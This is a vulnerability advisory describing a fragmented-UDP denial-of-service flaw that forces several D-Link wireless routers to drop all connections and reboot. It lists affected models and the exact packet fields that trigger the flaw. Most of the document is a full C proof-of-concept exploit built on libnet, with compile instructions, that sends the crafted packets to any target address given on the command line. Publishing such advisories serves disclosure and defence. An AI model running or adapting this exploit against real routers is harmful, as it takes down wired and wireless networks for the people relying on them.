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D-Link Fragmented UDP Denial of Service Vulnerability
------------------------------------------------------------------------
SUMMARY
Remote exploitation of a design error flaw in multiple D-Link wireless
access points could allow attackers to create a denial of service
condition on the affected machine and therefore the wired and wireless
networks themselves.
DETAILS
Vulnerable Systems:
* D-Link DI-524 Wireless Router, firmware 3.20 August 18, 2005
* D-Link DI-624 Wireless Router
* D-Link DI-784
Immune Systems:
* D-Link DI-614+ Wireless Router
* D-Link DI-604 Ethernet Broadband Router
Successful exploitation of the described vulnerability allows remote
attackers to reboot the target router. Exploitation will occur given that
the attacker send 3 successive fragmented UDP packets with the following
specifications:
All packets must have the same Identification Number in the IP Header.
Packet 1:
The MORE_FRAGMENTS flag must be set to 1. (value IP_MF)
The fragmentation offset equal to 0.
The packet's payload size consists of 8 bytes. NULL bytes were tested in
the proof of concept.
Packet 2:
The MORE_FRAGMENTS flag set to 1. (value 0x2002)
The fragmentation offset equal to 16.
Payload is 8 bytes long.
Packet 3:
The MORE_FRAGMENTS flag set to 0. (value 0x0003)
The fragmentation offset equal to 24.
Payload is 8 bytes long.
In tests the affected routers would instantly terminate all current
connections. The DI-524 would take approximately one minute to then reboot
and restore a connections. The DI-624 would take approximately 30 seconds.
This vulnerability has been confirmed to work from at most 4 hops from the
intended target. Depending on how routers/switches and other hardware
placed between the attacker and the router further fragment or reassembly
the packets, the denial of service condition may not be triggered.
Exploit:
/*
*
* Aaron Portnoy
*
* silc.thunkers.net, thunkers
*
* D-Link Wireless Access Point
* Fragmented UDP DoS Proof of Concept
*
*
* gcc -o dlink_dos dlink_dos.c -lnet -Wall
*
*/
#include <libnet.h>
#define DEVICE "eth0"
#define SRC_IP "127.0.0.1"
#define DST_IP "127.0.0.1"
#define SRC_PRT 200
#define DST_PRT 11111
void usage (char *name)
{
fprintf (stderr,
"Usage: %s -s <source ip> -d <destination ip>\
-a <source port> -b <destination port>\n",
name);
exit (EXIT_FAILURE);
}
int gen_packet (char *device, char *pSRC, char *pDST, u_short sPRT,
u_short dPRT, int count)
{
libnet_t *l = NULL;
libnet_ptag_t udp = 0;
libnet_ptag_t ip = 0;
char errbuf[LIBNET_ERRBUF_SIZE];
char *payload = NULL;
u_short payload_s = 0, src_prt, dst_prt;
u_long src_ip, dst_ip;
int c, frag;
if (!device)
device = DEVICE;
l = libnet_init (LIBNET_RAW4, device, errbuf);
if (!l) {
fprintf (stderr, "libnet_init() failed: %s\n", errbuf);
exit (EXIT_FAILURE);
}
src_ip = pSRC ? libnet_name2addr4 (l, pSRC, LIBNET_RESOLVE) :
libnet_name2addr4 (l, SRC_IP, LIBNET_RESOLVE);
dst_ip = pDST ? libnet_name2addr4 (l, pDST, LIBNET_RESOLVE) :
libnet_name2addr4 (l, DST_IP, LIBNET_RESOLVE);
src_prt = sPRT ? sPRT : SRC_PRT;
dst_prt = dPRT ? dPRT : DST_PRT;
if (count == 1) {
payload = "\0\0\0\0\0\0\0\0";
payload_s = 8;
}
udp = libnet_build_udp (src_prt,
dst_prt,
(LIBNET_UDP_H + payload_s) * 2,
0, (unsigned char *)payload, payload_s, l,
udp);
if (udp == -1) {
fprintf (stderr, "Can't build UDP header: %s\n", libnet_geterror
(l));
exit (EXIT_FAILURE);
}
switch (count) {
case 1:
frag = IP_MF;
break;
case 2:
frag = 0x2002;
break;
case 3:
frag = 0x0003;
break;
}
ip = libnet_build_ipv4 (20,
0,
1800,
frag,
128,
IPPROTO_UDP, 0, src_ip, dst_ip, NULL, 0, l,
ip);
if (ip == -1) {
fprintf (stderr, "Can't build IP header: %s\n", libnet_geterror
(l));
exit (EXIT_FAILURE);
}
c = libnet_write (l);
if (c == -1) {
fprintf (stderr, "Write error: %s\n", libnet_geterror (l));
exit (EXIT_FAILURE);
}
printf ("Wrote UDP packet; check the wire.\n");
libnet_destroy (l);
return (EXIT_SUCCESS);
}
int main (int argc, char **argv)
{
int i;
char *pDST, *pSRC, *device;
u_short dPRT = 0;
u_short sPRT = 0;
pDST = pSRC = device = NULL;
while ((i = getopt (argc, argv, "D:d:s:a:b:h")) != EOF) {
switch (i) {
case 'D':
device = optarg;
break;
case 'd':
pDST = optarg;
break;
case 's':
pSRC = optarg;
break;
case 'a':
sPRT = atoi (optarg);
break;
case 'b':
dPRT = atoi (optarg);
break;
case 'h':
usage (argv[0]);
break;
}
}
printf ("\n----------------------------------\n");
printf (" -= D-Link DoS PoC =-\n");
printf (" Aaron Portnoy\n");
printf (" deft () thunkers ! net \n");
printf (" silc.thunkers.net, thunkers\n");
printf ("----------------------------------\n");
device ? printf ("\nDevice: \t%s\n", device) :
printf ("\nDevice: \t%s\n", DEVICE);
pSRC ? printf ("SRC IP: \t%s\n", pSRC) :
printf ("SRC IP: \t%s\n", SRC_IP);
pDST ? printf ("DST IP: \t%s\n", pDST) :
printf ("DST IP: \t%s\n", DST_IP);
sPRT ? printf ("SPort: \t\t%d\n", sPRT) :
printf ("SPort: \t\t%d\n", SRC_PRT);
dPRT ? printf ("DPort: \t\t%d\n\n", dPRT) :
printf ("DPort: \t\t%d\n\n", DST_PRT);
for (i = 1; i <= 3; i++)
gen_packet (device, pSRC, pDST, sPRT, dPRT, i);
printf ("\n");
return (EXIT_SUCCESS);
}
/* EoF */
ADDITIONAL INFORMATION
The information has been provided by <mailto:deft@thunkers.net> Aaron
Portnoy.
The original article can be found at:
<http://www.thunkers.net/~deft/advisories/dlink_udp_dos.txt>
http://www.thunkers.net/~deft/advisories/dlink_udp_dos.txt
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